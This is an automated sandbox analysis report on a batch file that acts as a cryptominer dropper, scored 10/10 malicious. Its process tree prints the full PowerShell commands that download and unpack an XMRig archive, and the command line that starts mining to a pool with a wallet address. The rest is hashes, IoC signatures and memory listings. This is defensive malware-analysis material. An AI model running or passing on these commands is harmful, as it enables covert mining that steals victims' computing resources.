Analysis

  • max time kernel
    1798s
  • max time network
    1809s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4872
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3536

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    d7ff9e985f0d19395c14bef03d7e32e9

    SHA1

    2b1c90fcba61bf674e17b22a085166d9ae2d5eef

    SHA256

    d9cf5fc6542c3a2f61379b85dc9b533bbf13f113b89dddb40dae0a6a8ee61a9a

    SHA512

    42d63b18f3b012b75b9d28c48997daa3b53955a446d29a83fb417d9c903a8ee3c208e02e4091e5a1c7af23b8e31bf103de4c3cd88f8c96ca01b222ea7cb5327f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x4h4o2hy.zor.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    122KB

    MD5

    9b63c34236b7057ddb13c2735e5a1064

    SHA1

    0d211d1166598cf79368548ba0ab4bb4b8838cc4

    SHA256

    f567e4c7faf365426c869b97a9ec81e7e66addbf5831474ac26f1311994cf3c4

    SHA512

    184fd6f563f4f6c030ad1e0eb854aa923d57c01bd570a05eb3eb813d8c3b83fe57b9fb3142753bfddc4b5c61f7221c78d39095b18d6c4768989ba47f4974e34f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    138KB

    MD5

    140523192f15fd45f06b04d2784a4588

    SHA1

    ce9c9f92fd67d553c8b05f06f543820f4e5ba447

    SHA256

    636cb4d2ddc0554f17f036e81b9964743bd7a4fb9957ecdf099bf1f896b2de9f

    SHA512

    d0ee05c316c3ff2f1d3506a84fc1a188721bd5c76e26db5cfa54565bd9d2ebd3304ef09790d617c83cf35ea06a8f3919b939c2b87a70d93a4db38bfe2e8593c4

  • memory/3060-22-0x00007FFA25DF0000-0x00007FFA267DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3060-7-0x0000020319A20000-0x0000020319A96000-memory.dmp

    Filesize

    472KB

  • memory/3060-24-0x0000020301500000-0x0000020301510000-memory.dmp

    Filesize

    64KB

  • memory/3060-23-0x0000020301500000-0x0000020301510000-memory.dmp

    Filesize

    64KB

  • memory/3060-25-0x00007FFA25DF0000-0x00007FFA267DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3060-26-0x0000020301500000-0x0000020301510000-memory.dmp

    Filesize

    64KB

  • memory/3060-31-0x00007FFA25DF0000-0x00007FFA267DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3060-4-0x0000020319870000-0x0000020319892000-memory.dmp

    Filesize

    136KB

  • memory/3536-142-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-148-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-185-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-184-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-183-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-182-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-181-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-118-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-119-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-120-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-121-0x000002D3BBE70000-0x000002D3BBEB0000-memory.dmp

    Filesize

    256KB

  • memory/3536-122-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-123-0x000002D3BBEB0000-0x000002D3BBED0000-memory.dmp

    Filesize

    128KB

  • memory/3536-124-0x000002D450120000-0x000002D450140000-memory.dmp

    Filesize

    128KB

  • memory/3536-125-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-126-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-127-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-129-0x000002D450120000-0x000002D450140000-memory.dmp

    Filesize

    128KB

  • memory/3536-128-0x000002D3BBEB0000-0x000002D3BBED0000-memory.dmp

    Filesize

    128KB

  • memory/3536-130-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-131-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-132-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-133-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-134-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-135-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-136-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-137-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-138-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-139-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-140-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-141-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-117-0x000002D3BBE10000-0x000002D3BBE30000-memory.dmp

    Filesize

    128KB

  • memory/3536-143-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-144-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-145-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-146-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-147-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-180-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-149-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-150-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-151-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-152-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-153-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-154-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-155-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-156-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-157-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-158-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-159-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-160-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-161-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-162-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-163-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-164-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-165-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-166-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-167-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-168-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-169-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-170-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-171-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-172-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-173-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-174-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-175-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-176-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-177-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-178-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/3536-179-0x00007FF709A60000-0x00007FF70A563000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-41-0x0000021CB63A0000-0x0000021CB63B0000-memory.dmp

    Filesize

    64KB

  • memory/4872-39-0x0000021CB63A0000-0x0000021CB63B0000-memory.dmp

    Filesize

    64KB

  • memory/4872-90-0x0000021CB6670000-0x0000021CB667A000-memory.dmp

    Filesize

    40KB

  • memory/4872-77-0x0000021CB6810000-0x0000021CB6822000-memory.dmp

    Filesize

    72KB

  • memory/4872-63-0x0000021CB63A0000-0x0000021CB63B0000-memory.dmp

    Filesize

    64KB

  • memory/4872-37-0x00007FFA25DF0000-0x00007FFA267DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4872-114-0x00007FFA25DF0000-0x00007FFA267DC000-memory.dmp

    Filesize

    9.9MB